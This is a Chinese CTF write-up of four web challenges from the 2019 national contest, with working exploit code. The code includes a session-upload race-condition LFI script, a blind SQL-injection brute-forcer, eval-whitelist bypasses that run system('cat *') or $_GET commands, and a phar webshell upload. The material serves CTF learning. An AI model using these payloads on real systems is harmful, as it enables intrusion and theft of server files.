2019国赛WP以及赛后学习

充实的一个周末,一共4道题做了3题,剩下最后一题拿了shell以后是真滴不会了,趁着还有点记忆,写一篇博客总结一下自己的思路,更重要的,学习一下其他师傅们的骚操作。

参考链接:

https://xz.aliyun.com/t/4906#toc-10

https://xz.aliyun.com/t/4904#toc-0


Web1 JustSoso

先说下我们队的做法,开局看到file直接伪协议拿到源码

<?php  
// hint.php
class Handle{ 
    private $handle;  

    public function __wakeup(){
	foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }

    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
	    $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag) {
            if(isset($this->file)) {
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>
<?php
// index.php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>

阅读伪协议,可以看出来,这是一道反序列化的题目,然而我们距离flag还有2座大山拦路。

第一 md5后的token与token_flag要相等

其中token不受用户控制,这里还比较好绕,反序列化的时候$token_flag=&$token即可

&在php中代表引用,在本题中表示token与token_flag指向同一个值

第二 正则里找flag,这里用的是parse_url()的漏洞

可以参考 http://www.am0s.com/functions/406.html

输入///xxx.php?x=xxx即可绕过正则匹配

另外 反序列化时成员个数属性大于实际成员数时可以绕过__wakeup,private变量在类中的时候,反序列化要在bp里面传%00类名%00变量名

WEB1学习下其他师傅的思路


12end 师傅用了条件竞争


我本地的默认phpinfo中session.upload_progress设置

可以看到,PHP_SESSION_UPLOAD_PROGRESS是一个常量,他是php.ini设置中session.upload_progress.name的默认值,session.upload_progress是PHP5.4的新特征。

12end师傅写的多线程疯牛版发包脚本

import requests
import threading

url='http://127.0.0.1/index.php'
r=requests.session()
headers={
    "Cookie":'PHPSESSID=123'
}
def POST():
    while True:
        file={
            "upload":('','')                                                    #上传无效的空文件
        }
        data={
            "PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>'     #恶意进度信息,readfile将直接输出文件内容
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.get("http://127.0.0.1/index.php?file=../tmp/tmp/sess_123")
        if 'flag' not in t.text:
            print('[+]retry')
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

我把url改成http://127.0.0.1/test/index.php试一试(提前新建一个文件,flag.php 内容为 flag{fuck}

本地复现失败 艹 nmdwsm

本地复现成功 上传的时候不能传空文件

import requests
import threading

url='http://127.0.0.1/test/index.php?file=sda'
r=requests.session()
headers={
    "Cookie":'PHPSESSID=123'
}
def POST():
    while True:
        file={
            "upload":('a','a')    #艹 这里不能是空文件,不然会失败                                                #上传无效的空文件
        }
        data={
            "PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>'     #恶意进度信息,readfile将直接输出文件内容
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.get("http://127.0.0.1/test/index.php?file=../../tmp/sess_123")
        if 'flag' not in t.text:
            print('[+]retry')
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

tmp里面会出现这样的文件


sess_123是空的

phpC1B2会消失而且名字是随机的


Web2 全宇宙最简单的SQL

wdnmd出题人,起这名字气人,你很开心🐎¿

这题有点难受,首先ban了or,|,也想不到怎么盲注,盲注也不知道怎么绕过information和password里的or,基本全靠队友带飞(在?广外女生队为什么不到10分钟就A了?(待会去看看有没有写wp))

队友发现pow(2,1024)会提示数据库操作错误(sql语法错误)其实是结果太大溢出了,而pow(2,1023)则提示登陆失败,于是可以爆出每一位的ascii码,

但是这里还要克服一个问题,就是password和information里的or怎么绕过,队友表示可以用子查询orz,甚至不用表名

我写了一个爆破脚本如下(脚本代码一坨屎,请不要在意

import requests
import re
flag=[]
for j in range(1,26):
    for i in range (25,126):
        k=1024-i
        data={'username':"a' union select pow(2,"+str(k)+"+ascii(substr((select fuck_2 from(select 1 as fuck_1 , 2 as fuck_2 from user where 1=2 union select * from user)x),"+str(j)+",1))) #","password":"1"}
        url="http://XXXXXXXXXXXXXXXXXXXXXXXXXX.changame.ichunqiu.com/"
        a=requests.post(url,data=data)
        b=re.findall(r"red'>.*</p>",a.content.decode('utf-8'))
        if((b[0][5:-4])!="登陆失败!"):   #此时ascii+str=1024
            print(i)    #运行好几次失败,打印i可以看看有木有在运行
        else:
            flag.append(chr(i-1))
            break
print(''.join(flag)) 

然后就得到了admin的密码(admin可以猜,也能注)

这里讲一下

子查询绕过字段名的限制

比如我有一张表

字段名password被过滤了,怎么选到password呢

select 1 as fuck_1,2 as fuck_2,3 as fuck_3 from orz where 1=2 union select * from orz;
+--------+----------+--------+
| fuck_1 | fuck_2   | fuck_3 |
+--------+----------+--------+
|      1 | ccdragon | fuck   |
|      2 | fubuki   | neko   |
+--------+----------+--------+
2 rows in set (0.00 sec)

可以看到,先用select 找不存在的数据,可以构造出一个空表,这时,可以向空表里填入union select 选到的数据,于是绕过了字段名

实际sql注入中运行的代码 差不多这样

select * from orz where username="" union select 1,2,fuck_3 from (select 1 as fuck_1,2 as fuck_2,3 as fuck_3 from orz where 1=2 union select * from orz)x #and xxxx此处省略xxxxxxx ;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | 2        | fuck     |
|    1 | 2        | neko     |
+------+----------+----------+

注意这里子查询括号外面一定要有一个别名 (上面是x),不然会报错

ERROR 1248 (42000): Every derived table must have its own alias

错误:每一个派生出来的表都必须有一个自己的别名

到这里sql注入部分已经结束了,然而题目还没完

后面还有一个可以连接别人的数据库的东西


图是盗的

掏出祖传的mysql恶意代码

https://github.com/Gifts/Rogue-MySql-Server

WEB2学习下其他师傅的思路

首先pow() 有的师傅用了cot(0)

另外ROIS的神仙们(orz)使用了正则DOS时间盲注

https://www.cesafe.com/3993.html

还有异或注入 ‘^xxxxxxxxx^0 #


Web3 LoveMath

这题拿了一血非常爽(虽然最后不值多少分了

先拿到源码(直接访问)

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

意思是只能用他给的一些数学函数,其他全被过滤,自闭了一段时间以后,发现dechex(15)可以输出f,又自闭了一会以后发现base_convert(xxxxx,10,36)可以把xxxx从10进制转换为36进制,于是就有了字符0-9a-z,此时我们已经可以执行system(ls)和phpinfo();

比如base_convert(1751504350,10,36)就是system

system(cat flag.php)无法执行 因为没有空格和.

替代的方法有system(cat *),system(cat<f*)

经尝试,统统超过了80字符串长度的限制(这里的<>和*会被解释成大于小于和乘法符号)

此时队友提出可以字符串异或还是字符串的方法,然而使用自带的函数名互相异或,得到的结果全部含有大写字母或者符号,于是又自闭了很久以后,我发现可以用三次异或来获得 空格*

下面贴出脚本

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];

foreach ($whitelist as $i):
    foreach ($whitelist2 as $k):
            echo $k^$i^" *";
            echo "   " . $i . " " . $k;
            echo "<br/>";
endforeach;
endforeach;

结果输出像这样

可以发现一些数字就能完成的异或比如

注意,这里的数字为16进制,hex(10)^asinh^pi=空格*

题目中payload应该输入16进制既

16^asinh^pi

使用 base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi)) 即可执行system(cat *),可以拿到flag

说来这题拿到一血和flag只能说是运气,估计距离预期解几百光年,前脚交了flag后脚ROIS就拿了2血,官方打电话10分钟内要WP,前脚交了后脚无人机就上天了(请忽略)


WEB3学习下其他师傅的思路

ROIS队使用的是 system(getallheaders(){9}),然后在headers里传了个9(太骚了)


其中getallheaders()

var_dump(getallheaders());
echo getallheaders(){'Host'};
===========================================
array (size=8)
  'Host' => string '127.0.0.1' (length=9)
  'Connection' => string 'keep-alive' (length=10)
  'Cache-Control' => string 'max-age=0' (length=9)
  'Upgrade-Insecure-Requests' => string '1' (length=1)
  'User-Agent' => string 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36' (length=115)
  'Accept' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' (length=118)
  'Accept-Encoding' => string 'gzip, deflate, br' (length=17)
  'Accept-Language' => string 'zh-CN,zh;q=0.9,en;q=0.8' (length=23)
127.0.0.1
//////////////////////////////

这里的大括号可以用来访问数组

$a=array("shit"=>"fuck",
"lol"=>"lmao");
echo $a{"shit"};
输出:fuck

他们还用过

// system('cat /*'); $pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));  //超过80字符


// system($_GET); $pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi}); //超80


另外还有用bin2hex的

bin2hex可以返回字符串

echo hex2bin(dechex(1598506324));  //可以得到_GET

然后使用

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
相当于$pi=_GET;($_GET[pi])($_GET[abs])

Web4 RefSpace

先放下自己的思路(没做出来,日


扫目录
[200] => robots.txt
[302] => index.php
[200] => upload/
[200] => backup.zip
[200] => backup.zip
[200] => flag.txt

使用伪协议统统把源码读出来

Up10aD.php

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        default:
            echo "Only gif/jpg allowed";
            exit();
    }
    $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
    echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>
    我们不能让选手轻而易举的搜索到上传接口。<br />
    即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
    <form method="post" enctype="multipart/form-data">
        <label for="file">来选择你的文件吧:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>

</body>

</html>
<?php
// index.php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
    header("location: ?route=app/index");
    exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
    echo "Please provide access key<br \>";
    echo '$_GET["key"];';
    exit();
}
$flag = $sdk->verify($key);
if ($flag) {
    echo $flag;
} else {
    echo "Wrong Key";
    exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information

backup.zip

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

如果正确的话,我们的SDK会返回flag。

PS: 为了节省各位大佬的时间,特注明
	1.此处函数return值并不是真正的flag,和真正的flag没有关系。
	2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
	3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
	4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。

sdk.php

<?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php
return sg_load('A99很长很长加密了啥都看不到')

另外robots.txt upload 没啥用不放了

Up10aD.php可以上传图片,把一句话.php加密成一句话.zip,再把后缀改成.jpg,然后在index.php使用phar://xxx.jpg.jpg/一句话可以传一个shell,然后用蚁剑连接可以发现基本上没权限,就在upload目录有个写文件的权限,其他只有读文件,到了这里,我的思路就断了

赛后去康康别的师傅的wp,原来RefSPACE里面Ref指的是Reflection类,我果然too_young_too_simple,莫得经验

下面来学习一下 创建reflection类/用命名空间会优先调用本命名空间中的同名函数这一特性 的操作

命名空间

https://www.php.net/manual/zh/language.namespaces.basics.php

  1. 相对文件名形式如foo.txt。它会被解析为 currentdirectory/foo.txt,其中 currentdirectory 表示当前目录。因此如果当前目录是 /home/foo,则该文件名被解析为/home/foo/foo.txt
  2. 相对路径名形式如subdirectory/foo.txt。它会被解析为 currentdirectory/subdirectory/foo.txt
  3. 绝对路径名形式如/main/foo.txt。它会被解析为/main/foo.txt

PHP 命名空间中的元素使用同样的原理。例如,类名可以通过三种方式引用:

  1. 非限定名称,或不包含前缀的类名称,例如 $a=new foo(); 或 foo::staticmethod();。如果当前命名空间是 currentnamespace,foo 将被解析为currentnamespace\foo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,则 foo 会被解析为foo。 警告:如果命名空间中的函数或常量未定义,则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称。
  2. 限定名称,或包含前缀的名称,例如 $a = new subnamespace\foo(); 或 subnamespace\foo::staticmethod();。如果当前的命名空间是currentnamespace,则 foo 会被解析为 currentnamespace\subnamespace\foo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,foo 会被解析为subnamespace\foo
  3. 完全限定名称,或包含了全局前缀操作符的名称,例如, $a = new \currentnamespace\foo(); 或 \currentnamespace\foo::staticmethod();。在这种情况下,foo 总是被解析为代码中的文字名(literal name)currentnamespace\foo

上面的文档讲的已经比较清楚了

//file1.php
<?php
namespace Foo\Bar\subnamespace;

const FOO = 1;
function foo() {}
class foo
{
    static function staticmethod() {}
}
?>


//===================================================================
//file2.php
<?php
namespace Foo\Bar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
    static function staticmethod() {}
}

/* 非限定名称 */
//没限定的名称解析为当前命名空间下的元素
foo(); // 解析为 Foo\Bar\foo 
foo::staticmethod(); // 解析为类 Foo\Bar\foo的静态方法staticmethod。
echo FOO; // 解析为常量 Foo\Bar\FOO

/* 限定名称 */
//解释为 当前命名空间/相对命名空间/元素
subnamespace\foo(); // 解析为函数 Foo\Bar\subnamespace\foo
subnamespace\foo::staticmethod(); // 解析为类 Foo\Bar\subnamespace\foo,
                                  // 以及类的方法 staticmethod
echo subnamespace\FOO; // 解析为常量 Foo\Bar\subnamespace\FOO
                                  
/* 完全限定名称 */
//写的啥就解释为啥
\Foo\Bar\foo(); // 解析为函数 Foo\Bar\foo
\Foo\Bar\foo::staticmethod(); // 解析为类 Foo\Bar\foo, 以及类的方法 staticmethod
echo \Foo\Bar\FOO; // 解析为常量 Foo\Bar\FOO
?>

#index.php
<?php
namespace index;
include __DIR__.'\..\rainbow\IQ.php';
include __DIR__.'\..\rainbow\pulse.php';
include __DIR__.'\..\rainbow\vigil.php';


use operator\IQ\IQ as mom;
use operator\pulse\pulse;
use operator\vigil\vigil;

vigil::skill();
print "</br>";
pulse::skill();
print "</br>";
mom::skill();
##########################################################
#IQ.php
<?php
namespace operator\IQ;
class IQ{
    static function skill(){
        print "headshot +120";
    }
}
##########################################################
#pulse.php
<?php
namespace operator\pause;
class pulse{
    static function skill(){
        print "scaning.....";
    }
}
####################################################
vigil.php
<?php
namespace operator\vigil;
class vigil{
    static function skill(){
    print "白裤裆寒冬一击";
    }
}

Reflection类(反射)

https://www.php.net/manual/zh/book.reflection.php

先上文档


显然并不能看flag,因为是private function(在实例中不能通过$obj->var 来调用 protected类型的方法或属性)

复现大失败可能 要过几天 明天更


第二次尝试复现,success

#########index.php############
<?php
namespace interesting;
include 'flag.php';
use interesting\FlagSDK;
function sha1($var) { // 调用类的私有、保护方法
    $class = new \ReflectionClass('interesting\FlagSDK');
    $method = $class->getMethod('flag');
    $method->setAccessible(true);
    $instance = $class->newInstance();
    return $method->invoke($instance);
}
$sdk = new FlagSDK();
$sdk->verify(123);
#########flag.php########
<?php
namespace interesting;
class FlagSDK{
    public function verify($var){
        if(sha1($var)=='fuck123'){
            $this->flag();
        }else{
            print "fuck";
        }
    }
    private function flag(){
        print "{1_50_ve9et4b1e_A!!!}";
    }
}
结果



然后把昨天的又修了一下,也好了,草,我懂了,要把两个命名空间改成一样的名字才能让我们自己写的sha1把原来php自带的sha1覆盖掉

########index.php#############
<?php
namespace operator\IQ;
include __DIR__.'\..\rainbow\IQ.php';
include __DIR__.'\..\rainbow\pulse.php';
include __DIR__.'\..\rainbow\vigil.php';

use operator\IQ\IQ;
use operator\pulse\pulse;
use operator\vigil\vigil;

vigil::skill();
print "</br>";
pulse::skill();
print "</br>";
//mom::skill();



$a=new IQ();
function sha1()
{
    $ref_class = new \ReflectionClass('operator\IQ\IQ');
    $instance = $ref_class->newInstance();
    $method = $ref_class->getMethod('flag');
    $method->setAccessible(true);
    return $method->invoke($instance);
}
$a->verify(213);
//$a->flag(); 这个不行
##########IQ.PHP#####################
<?php
namespace operator\IQ;
class IQ{
    static function skill(){
        print "headshot +120";
    }
    public function verify($var){
        if(sha1($var)=='youwritephplikecxkplaybasketball'){
            $this->flag();
        }else{
            print "fuck";
        }
    }
    private function flag(){
        print "{we1c0me_2_R41nb0w_51x}";
    }

}
结果

这样整篇文章基本上就算更完了8,完结撒花~,另外还有一个魔改php内核的之后再看看能不能跟Orz,感觉自己好菜啊,啥都不会, 艹

2019/5/12/2:04 p.m.


和队友一起找思路,一起拿一血,做不出的时候一起自闭,大家都一心朝着同一个目标的感觉真是太棒辣

发表评论

电子邮件地址不会被公开。 必填项已用*标注